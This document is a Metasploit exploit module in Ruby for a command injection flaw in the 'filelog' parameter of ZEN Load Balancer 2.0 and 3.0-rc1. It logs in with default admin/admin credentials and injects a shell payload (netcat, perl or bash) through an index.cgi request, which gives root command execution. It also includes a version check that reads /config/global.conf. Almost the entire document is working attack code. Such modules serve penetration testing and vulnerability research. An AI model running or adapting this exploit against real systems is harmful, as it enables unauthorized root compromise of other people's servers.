ZEN Load Balancer Filelog Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "ZEN Load Balancer Filelog Command Execution",
			'Description'    => %q{
				This module exploits a vulnerability in ZEN Load Balancer
				version 2.0 and 3.0-rc1 which could be abused to allow authenticated users
				to execute arbitrary code under the context of the 'root' user.
				The 'content2-2.cgi' file uses user controlled data from the 'filelog'
				parameter within backticks.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
				],
			'References'     =>
				[
					['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']
				],
			'DefaultOptions'  =>
				{
					'ExitFunction' => 'none'
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'       => 1024,
					'BadChars'    => "\x00",
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic netcat-e perl bash',
						}
				},
			'Targets'        =>
				[
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => true,
			'DisclosureDate' => "Sep 14 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(444),
				OptBool.new('SSL', [true, 'Use SSL', true]),
				OptString.new('USERNAME', [true, 'The username for the application', 'admin']),
				OptString.new('PASSWORD', [true, 'The password for the application', 'admin'])
			], self.class)
	end

	def check

		@peer = "#{rhost}:#{rport}"

		# retrieve software version from config file
		print_status("#{@peer} - Sending check")
		begin
			res = send_request_cgi({
				'uri' => '/config/global.conf'
			})

			if    res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
				return Exploit::CheckCode::Appears
			elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
				return Exploit::CheckCode::Detected
			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{@peer} - Connection failed")
		end
		return Exploit::CheckCode::Unknown

	end

	def exploit

		@peer = "#{rhost}:#{rport}"
		user  = datastore['USERNAME']
		pass  = datastore['PASSWORD']
		auth  = Rex::Text.encode_base64("#{user}:#{pass}")
		cmd   = Rex::Text.uri_encode(";#{payload.encoded}&")
		lines = rand(100) + 1

		# send payload
		print_status("#{@peer} - Sending payload (#{payload.encoded.length} bytes)")
		begin
			res = send_request_cgi({
				'uri'     => "/index.cgi?nlines=#{lines}&action=See+logs&id=2-2&filelog=#{cmd}",
				'headers' =>
					{
						'Authorization' => "Basic #{auth}"
					}
			}, 25)
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Exploit::Failure::Unreachable, 'Connection failed')
		rescue
			fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
		end

		if res and res.code == 401
			fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
		end

	end

end